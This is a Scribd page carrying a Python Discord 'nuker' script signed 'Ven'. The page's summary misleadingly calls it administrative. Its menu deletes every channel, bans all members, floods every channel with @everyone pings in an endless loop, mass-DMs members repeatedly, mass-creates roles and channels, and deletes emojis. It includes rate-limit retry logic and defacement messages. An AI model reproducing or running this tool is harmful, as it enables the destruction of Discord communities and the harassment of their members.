0% found this document useful (0 votes)
9 views4 pages

Ven 1

This document is a Python script for a Discord bot that performs various administrative tasks such as deleting channels, creating channels, renaming members, and banning users. It includes functions for mass actions like sending direct messages to all members, creating roles, and managing channel permissions. The bot operates based on user input and requires a token for execution.

Uploaded by

scoopwebwebs
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
9 views4 pages

Ven 1

This document is a Python script for a Discord bot that performs various administrative tasks such as deleting channels, creating channels, renaming members, and banning users. It includes functions for mass actions like sending direct messages to all members, creating roles, and managing channel permissions. The bot operates based on user input and requires a token for execution.

Uploaded by

scoopwebwebs
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 4

import discord

from discord.ext import commands


import asyncio
import os
import random

os.system("cls" if os.name == "nt" else "clear")

banner = """
\033[94m
██▒ █▓▓█████ ███▄ █ ███▄ █ █ ██ ██ ▄█▀▓█████ ██▀███
▓██░ █▒▓█ ▀ ██ ▀█ █ ██ ▀█ █ ██ ▓██▒ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒
▓██ █▒░▒███ ▓██ ▀█ ██▒ ▓██ ▀█ ██▒▓██ ▒██░▓███▄░ ▒███ ▓██ ░▄█ ▒
▒██ █░░▒▓█ ▄ ▓██▒ ▐▌██▒ ▓██▒ ▐▌██▒▓▓█ ░██░▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄
▒▀█░ ░▒████▒▒██░ ▓██░ ▒██░ ▓██░▒▒█████▓ ▒██▒ █▄░▒████▒░██▓ ▒██▒ ██▓
░ ▐░ ░░ ▒░ ░░ ▒░ ▒ ▒ ░ ▒░ ▒ ▒ ░▒▓▒ ▒ ▒ ▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░ ▒▓▒
░ ░░ ░ ░ ░░ ░░ ░ ▒░ ░ ░░ ░ ▒░░░▒░ ░ ░ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░ ░▒
░░ ░ ░ ░ ░ ░ ░ ░ ░░░ ░ ░ ░ ░░ ░ ░ ░░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░
Fuck Skids !! Ven Is Here
Made By : Ven
Disc Account : _50t\033[0m
"""

intents = discord.Intents.all()
bot = commands.Bot(command_prefix="!", intents=intents)

async def safe_execute(coro):


try:
return await coro
except discord.HTTPException as e:
if e.status == 429:
await asyncio.sleep(e.retry_after if hasattr(e, 'retry_after') else 5)
return await safe_execute(coro)
except:
pass

# ========== FUNCTIONS ==========


async def delete_channels(guild):
for ch in guild.channels:
await safe_execute(ch.delete())
print("All channels deleted.")

async def create_channels(guild, name, amount):


for _ in range(amount):
await safe_execute(guild.create_text_channel(name))
print(f"Created {amount} channels.")

async def rename_guild(guild, new_name):


await safe_execute(guild.edit(name=new_name))
print("Server renamed.")

async def rename_all_members(guild, nickname):


for member in guild.members:
try:
await member.edit(nick=nickname)
except: pass
print("All members renamed.")

async def rename_single_member(guild, user_id, nickname):


member = guild.get_member(int(user_id))
if member:
await safe_execute(member.edit(nick=nickname))
print("Member renamed.")

async def delete_single_channel(guild, channel_id):


channel = discord.utils.get(guild.channels, id=int(channel_id))
if channel:
await safe_execute(channel.delete())
print("Channel deleted.")

async def create_mass_roles(guild):


for _ in range(50):
name = f"VenRole{random.randint(1,999)}"
color = discord.Color.random()
await safe_execute(guild.create_role(name=name, color=color))
print("Roles created.")

async def unban_user(guild, user_id):


banned_users = await guild.bans()
for ban_entry in banned_users:
if str(ban_entry.user.id) == str(user_id):
await safe_execute(guild.unban(ban_entry.user))
print("User unbanned.")
return

async def unban_all_users(guild):


banned_users = await guild.bans()
for ban_entry in banned_users:
await safe_execute(guild.unban(ban_entry.user))
print("All users unbanned.")

async def dm_all_members(guild, message, repeat):


for member in guild.members:
if member.bot: continue
try:
for _ in range(repeat):
await member.send(message)
except: pass
print("DM sent to all.")

async def dm_single_member(guild, user_id, message, repeat):


member = guild.get_member(int(user_id))
if member:
try:
for _ in range(repeat):
await member.send(message)
print("DM sent.")
except: pass

async def channels_spamm(guild):


while True:
for ch in guild.text_channels:
await safe_execute(ch.send("@everyone Ven was here!"))
await asyncio.sleep(1)
async def ban_all_members(guild):
for member in guild.members:
if member.bot: continue
await safe_execute(member.ban())
print("All members banned.")

async def ban_single_member(guild, user_id):


member = guild.get_member(int(user_id))
if member:
await safe_execute(member.ban())
print("Member banned.")

async def create_voice_channels(guild):


for _ in range(25):
await safe_execute(guild.create_voice_channel("VenVC"))
print("Voice channels created.")

async def lock_all_channels(guild):


for ch in guild.text_channels:
await safe_execute(ch.set_permissions(guild.default_role,
send_messages=False))
print("All channels locked.")

async def unlock_all_channels(guild):


for ch in guild.text_channels:
await safe_execute(ch.set_permissions(guild.default_role,
send_messages=True))
print("All channels unlocked.")

async def delete_emojis(guild):


for emoji in guild.emojis:
await safe_execute(emoji.delete())
print("All emojis deleted.")

# ========== EVENT ==========


@bot.event
async def on_ready():
print(banner)
print(f"\033[94mLogged in as {bot.user}\033[0m")
await asyncio.sleep(1)
guilds = bot.guilds
for i, g in enumerate(guilds, 1):
print(f"[{i}] {g.name} (ID: {g.id})")
guild = guilds[int(input("\nSelect server: ")) - 1]

while True:
print("\n" + "-" * 40)
print("1 - Delete all channels")
print("2 - Create channels")
print("3 - Rename server")
print("4 - Rename all members")
print("5 - Rename a member")
print("6 - Delete one channel")
print("7 - Mass create roles")
print("8 - Unban a user")
print("9 - Unban all users")
print("10 - DM all members")
print("11 - DM one member")
print("12 - Spam all channels")
print("13 - Ban all members")
print("14 - Ban one member")
print("15 - Mass voice channels")
print("16 - Lock all text channels")
print("17 - Unlock all text channels")
print("18 - Delete all emojis")
print("0 - Exit")
print("-" * 40)

try:
c = input("Choice: ")

if c.lower() == "ven":
password = input("Enter the password: ")
if password == "Fuck Skids":
print("\n[Access Granted]\n")
print("Hello, I am Ven. I don't know your identity or who you
are...")
else:
print("Wrong password. Access denied.\n")

elif c == "1": await delete_channels(guild)


elif c == "2":
name = input("Channel name: ")
amt = int(input("Amount: "))
await create_channels(guild, name, amt)
elif c == "3": await rename_guild(guild, input("New name: "))
elif c == "4": await rename_all_members(guild, input("New nickname: "))
elif c == "5": await rename_single_member(guild, input("User ID: "),
input("New nickname: "))
elif c == "6": await delete_single_channel(guild, input("Channel ID:
"))
elif c == "7": await create_mass_roles(guild)
elif c == "8": await unban_user(guild, input("User ID: "))
elif c == "9": await unban_all_users(guild)
elif c == "10": await dm_all_members(guild, input("Message: "),
int(input("Repeat: ")))
elif c == "11": await dm_single_member(guild, input("User ID: "),
input("Message: "), int(input("Repeat: ")))
elif c == "12": await channels_spamm(guild)
elif c == "13": await ban_all_members(guild)
elif c == "14": await ban_single_member(guild, input("User ID: "))
elif c == "15": await create_voice_channels(guild)
elif c == "16": await lock_all_channels(guild)
elif c == "17": await unlock_all_channels(guild)
elif c == "18": await delete_emojis(guild)
elif c == "0": break

except Exception as e:
print(f"Error: {e}")

bot.run(input("Token: "))

You might also like